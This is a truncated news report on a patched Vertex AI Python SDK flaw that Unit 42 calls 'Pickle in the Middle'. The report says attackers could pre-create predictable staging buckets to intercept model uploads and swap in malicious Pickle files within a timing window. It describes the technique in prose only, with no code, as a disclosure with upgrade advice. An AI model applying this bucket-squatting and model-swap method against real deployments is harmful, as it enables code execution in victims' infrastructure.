Google has addressed a security flaw in the Python SDK for Vertex AI after researchers demonstrated that attackers could potentially intercept machine learning model uploads and substitute them with malicious files.
The issue was identified by researchers from Palo Alto Networks’ Unit 42 team, who disclosed the findings through Google’s bug bounty program. According to the researchers, the vulnerability could be exploited without compromising a target organization’s cloud environment, stealing credentials, or tricking users through phishing campaigns. Instead, the attack relied on weaknesses in how the SDK handled temporary storage locations during model uploads.
Researchers referred to the technique as “Pickle in the Middle.” They reported no evidence that the flaw had been exploited outside of controlled testing environments. Google has since released security updates, and organizations using Vertex AI are advised to upgrade to version 1.148.0 or newer.
Predictable Storage Names Created an Opening
The vulnerability originated from the SDK’s automatic staging process.
When developers uploaded a machine learning model without manually specifying a Cloud Storage bucket, the SDK generated a temporary bucket name based on information such as the Google Cloud project identifier and deployment region.
The problem was not that the bucket name could be predicted. The problem was that the SDK only checked whether the bucket existed. It did not verify whether that bucket belonged to the project performing the upload.
Because Cloud Storage bucket names are globally unique across Google Cloud, an attacker could create the expected bucket before the victim did. If that happened, model files uploaded by the victim could be redirected into infrastructure controlled by the attacker.
In practical terms, a developer could believe a model was being uploaded to their own cloud environment while the files were actually being delivered elsewhere.
Attackers Could Replace Models Before Deployment
After receiving the uploaded files, an attacker could modify or replace the model before Vertex AI retrieved it for deployment.
This becomes particularly important because many machine learning workflows rely on serialization formats such as Pickle and Joblib. These formats are commonly used to save trained models, but they also contain functionality capable of executing instructions when the file is loaded.
As a result, a manipulated model may do more than generate predictions. It can potentially run arbitrary code inside the environment responsible for serving the model.
Unit 42 researchers demonstrated that this behavior could be abused to execute attacker-controlled code inside Vertex AI’s serving infrastructure.
Researchers Exploited a Narrow Timing Window
The attack required the malicious file replacement to occur very quickly.
During testing, researchers observed that Vertex AI typically retrieved uploaded files roughly 2.5 seconds after the upload process completed.
To exploit this short interval, they created an automated Cloud Function that monitored the attacker-controlled bucket and immediately replaced newly uploaded files. The replacement process took approximately 1.4 seconds, allowing the malicious model to be swapped before Vertex AI accessed it.
This timi
[…]
Content was cut in order to protect the source.Please visit the source for the rest of the article.
Read the original article: